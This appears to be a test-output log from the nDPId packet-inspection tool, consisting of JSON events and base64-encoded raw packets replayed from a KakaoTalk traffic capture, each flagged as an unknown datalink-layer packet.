+00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1827,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":859229,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFcAAEAAHBH+IwHJAa4KGFK8WgYoHABDVKSAbFBRiz+xGguGVRnKU3K4vDzrBMpspP8\/CrfmVntQpag23871nmt27LHQWHHu7MvFE397lM8OEaWC1w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1827,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1828,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":879279,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFgAAEAAHBH+IgHJAa4KGFK8WgYoHABEMf2AbFBSiz+02guGVRlKpZxpFNLNOUM9+3K5TYqxYSlgA6uBk1WoVG8AK29aqnSVTB8tJEEijjShT3VmvGA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1828,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1829,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":897467,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/2kmAbDL4fq+Og1SapdrAWqvuYDEDLO73IzjeuxumDKhxXwVLc4XqR9YnTiXED4kOy7FjxjwIWmeT"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1829,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00474{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1830,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":907233,"pkt_caplen":124,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":124,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGwAAEAAHRH9DgHJAa4KGFK8WgQsOABYMsyAbDLXfq8Sw1Sapdo\/SmhgxUunHGfCvHKnP2rfIcMuYurZJiInaph4mEXI7VWBc6SUWERLZLzYJbY\/q+LXvZHNfjfBLOjLljd7j4RUFJ9c3A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1830,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00542{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1831,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":912024,"pkt_caplen":177,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":177,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKEAAEAAPxHbAQoYUrwByQGuLDhaBACNcEKAbFByi0As2guGVRmjhTuh9\/IueAPAbaEIxjRAbg1ELXIb+3Y3NTT6ROMejM1tMFhzIN+cv+bmi1EQh+RtwdOiKUU0vjk18Hq5yrXSXX9mtQytUYlBnoCqTEaP4Yuq1IaXGxd5jipzWKI8XkFw1JrCoSvOk\/aCfBBpYeEBitkAkvv+BBF9"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1831,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00547{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1832,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":912085,"pkt_caplen":180,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":180,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKQAAEAAPxHa\/goYUrwByQGuLDhaBACQ07mAbFBzi0AwmguGVRlbJgZNoqDYI3Ak8+SEnZS9ZEy7RkszEDgs0ylsgN22BNcqPHd+VNsGGYCwBycmtUl2aqwmdqim9CJg9annaVyZWGtk06G3LtnMHMIRHJHBZZY\/0RIkrP00UX+4inMpnBM57NajJ5eTpel1zVPAf5EaYgh7CNx8Jn\/C7TKr"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1832,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1833,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":939521,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/sX2AbDL5fq+SQ1SapdpxNvok3e1ZwnQKwWf7gFW7GZA448xe3cOtKwfleO861He5XhAFwD8F5QMe"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1833,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00460{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1834,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":985602,"pkt_caplen":116,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":116,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGQAAEAAQBHaPgoYUrwByQGuKBxaBgBQIGyAbDL6fq+WA1SapdonG3NRhbTNiXqnVhPBe2woMqV2KfZeG4BKgWaRkCfMDR1dsMgEzqScNSxNvQH31tZQU4lACOjGPkPZxgo="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1834,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00470{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1835,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":988013,"pkt_caplen":123,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":123,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGsAAEAAHRH9DwHJAa4KGFK8WgQsOABXazmAbDLYfq8Wg1SapdqkNPVedeziU0dHp2F+jNQvFdomJ2\/aiaxrXoS4OIBcEh04gYmwhw0ollB8o6m65GCWtq62wS2Mqn3cQ8J7cRsJFUh\/"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1835,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1836,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":999366,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHBH+HQHJAa4KGFK8WgYoHABJ\/SiAbFBTiz+4mguGVRlXMONXUyhj4mHz+oNN3n4y6g6brumvoi567K2E7QqLsiSKMrbAYz1tcsNYcIpXKxZNwyAwmg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1836,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00530{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1837,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":10291,"pkt_caplen":168,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":168,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJgAAEAAPxHbCgoYUrwByQGuLDhaBACEnaaAbFB0i0A0WguGVRmlRtL9GrcwkyGvTgvmD\/5uWUYXmTMoc0efUsW6DAZo8u45l7e+Ly8CSPgTU3OyuZhzq7Jq4bowX6oV0\/DXo65Y6NJ6Ypq37reRr2L5u8nzNMyC\/bvHHrzhUbVUIaiJmhHROHtP6qLvDxQTx32+KsCe"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1837,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1838,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":10474,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAPxHbRAoYUrwByQGuLDhaBABKTZCAbFB1i0A4GguGVRk1DKZLAnXl3CNOtI4fg8MQcSkGeTd\/wJGDerAPnVbUZpUToAisBuhg4VScBVA1ao3uSrYlnT8="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1838,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1839,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":51886,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHRH9GwHJAa4KGFK8WgQsOABLXcuAbDLZfq8aQ1SapdoaD4XH3OY8g3rOVa+ZcoSKAFNNy4\/sPwb113M5DrO8+0pAbHmxo3h0xNNSs3suREZ+0R7WAFYl"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1839,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1840,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":79413,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHRH9GwHJAa4KGFK8WgQsOABLGyGAbDLafq8eA1SapdoIZdrX1DQMJt\/tRqIDgAUvffgqPKZvlQut3hniagtYXZlKYVHYyhQ6uYDKm62zk0EmNkgqdX3C"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1840,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1841,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":84113,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAQBHaRAoYUrwByQGuKBxaBgBKHdCAbDL7fq+Zw1Sapdq0RmuCaKef6jgLrs5Z6ghs5AVFeN1+ShZAwCAwKOv3maXlloq8fRetVHDjoX8ZcJCwxFohsXs="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1841,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1842,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":99341,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHBH+HwHJAa4KGFK8WgYoHABHNLWAbFBUiz+8WguGVRkcBQ2w77nPgj9OzrzLYwVcIBksfj60e26SnPPw7n\/3K0YRXqz7M09Z38TYkwQj5Rw+r2U="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1842,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1843,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":109259,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFkAAEAAPxHbSQoYUrwByQGuLDhaBABFgvyAbFB2i0A72guGVRnYdEEiHQs89LsV\/nN7kBqBuv3B\/5obHdIzhw\/rkjNxQ8tvUDFR9SMqw0duCcaEVaaA"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1843,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1844,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":124762,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAQBHaQwoYUrwByQGuKBxaBgBLpYmAbDL8fq+dg1SapdpRai7XOah\/g7TBc\/4fzrh3AXb3dOPAykaVlerNqk51ya8WTH1OXwqU8mDtC9pfh1u+E4w6zXB+"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1844,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1845,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":161170,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/bmOAbDL9fq+hQ1SapdoZCioUg8\/TzfYQQNRp4JqDPJz2wbgwUIGkHlOurUCwf82n9I21MITKrfnP"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1845,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1846,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":168982,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/8U+AbDLbfq8hw1SapdrVt4Vd9FoIbkTRG15V5QbKXfnYisPeBzPI5PJI0E8EEvS+KiBPpeOey2MW"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1846,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1847,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":169440,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/LIqAbDLcfq8lg1Sapdq1u26hZxrS9oiJsFMYfgiG7TFTy+Q\/Panf2tjY8ggEJub1g5xbuL21\/lRO"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1847,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1848,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":169562,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHBH+IAHJAa4KGFK8WgYoHABGzriAbFBViz\/AGguGVRmkCbJs4bdLiV8ABwUXfolGqpiFFnxIbpW7dOCaLB9G+4IcSciRytbFHM68z0UQm0ou2g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1848,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1849,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":192053,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHBH+HwHJAa4KGFK8WgYoHABHPG6AbFBWiz\/D2guGVRlpTV3ciXfJ4vBomLslbZXdpi\/xW6jlA3vSQkWL2IViVrEec+X3k8CRSB\/j\/7mzCN5Go1g="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1849,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00457{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1850,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":209906,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGAAAEAAPxHbQgoYUrwByQGuLDhaBABM5BGAbFB3i0A\/mguGVRlK+TYKKMpTFu3UXMEdJz1Uk48Uhx2i+Ikajq444lPXjm2nu1xZkpeQLoM606fCj1w9xQbDq1GrBg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1850,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1851,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":210089,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAPxHbRwoYUrwByQGuLDhaBABHRU6AbFB4i0BDWguGVRkTEIbRkngmAIu5DpDIWaLT2La1PrqrPhyJHLNwRI322cx9+QfF6\/wsc38SjtIZiRp2B54="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1851,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1852,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":243811,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/Nl6AbDL+fq+lA1Sapdpk1LTECVKgzxVej2Ms5rkZF73P+TdDwPJg06\/umbgQ52zRemZJFhvU2SQG"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1852,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00510{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1853,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":247473,"pkt_caplen":153,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":153,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIkAAEAAHBH98QHJAa4KGFK8WgYoHAB1e9+AbFBXiz\/HmguGVRkP5r59i+1T3SK8mCu57i1noVZqggbOVjMYUak2J9+PBCuAOvkpuKLjo6WNvtzQB5hpHMm6IXwvOhL\/hhtMF8zOuyThpa+2cmVv5kKRQ2GrOwyifHGklH9466d29RdnfTZo"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1853,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1854,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":267554,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/LReAbDLdfq8pQ1SapdrxAVS2mXJUbjMPLITWCtqlMrdflWHGU4M5gxwrUsdF1vGUyPl4cUmNWdNG"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1854,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00461{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1855,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":286383,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGMAAEAAQBHaPwoYUrwByQGuKBxaBgBPG6CAbDL\/fq+ow1SapdqaYr5ML2PI7b88Uhh5W0hH293BPAqCijr4Fs7XIdHkMVN+NpV4QDIpClC+B6YrluoqGfJJ4TL4SOti7g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1855,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1856,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":309943,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJ3MmAbFB5i0BHGguGVRnV6\/7m74MxZW83kE7ZyKY9QGbJ32eppyQPHR8UknK6AGbDDieOsEpf7M8fA0FxUS7co+0YeQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1856,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1857,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":310095,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFcAAEAAPxHbSwoYUrwByQGuLDhaBABDDluAbFB6i0BK2guGVRmf74w1zMwLvfPr\/bNTYbDnbjS\/TLvLIXn25s46ZzaNZIvraMlRzKw1kLA1UDASWw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1857,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1858,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":312751,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHBH+HAHJAa4KGFK8WgYoHABKDoOAbFBYiz\/LWguGVRnJjzNfzZZSz1EmkY2d1zjbuhLf9kLvMDbpWQIbnrkFdm08KzF57iEsuTxByesjb18lBoL54co="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1858,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1859,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":348731,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/ItaAbDLefq8tA1SapdqR3LwcvhdslAP0knR6Vb607CXVVFO94St6cMgbd6IrW\/x+yTIEh1RAxSCV"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1859,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1860,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":379431,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgQsOAA\/4TyAbDLffq8ww1SapdrR+FXkOkYlI0tJsOBXo0ZRXI9y2JHx+o0oSqcj+i9Z8e6o\/7a95iXOHohJ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1860,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1861,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":384497,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFgAAEAAQBHaSgoYUrwByQGuKBxaBgBEG4WAbDMAfq+sg1Sapdrj0j+obnrXxPlrdMxxFLgLgVLhd9OfieofEEA9Fki+F\/Via2KODLiwYUUi57\/+R5w="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1861,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 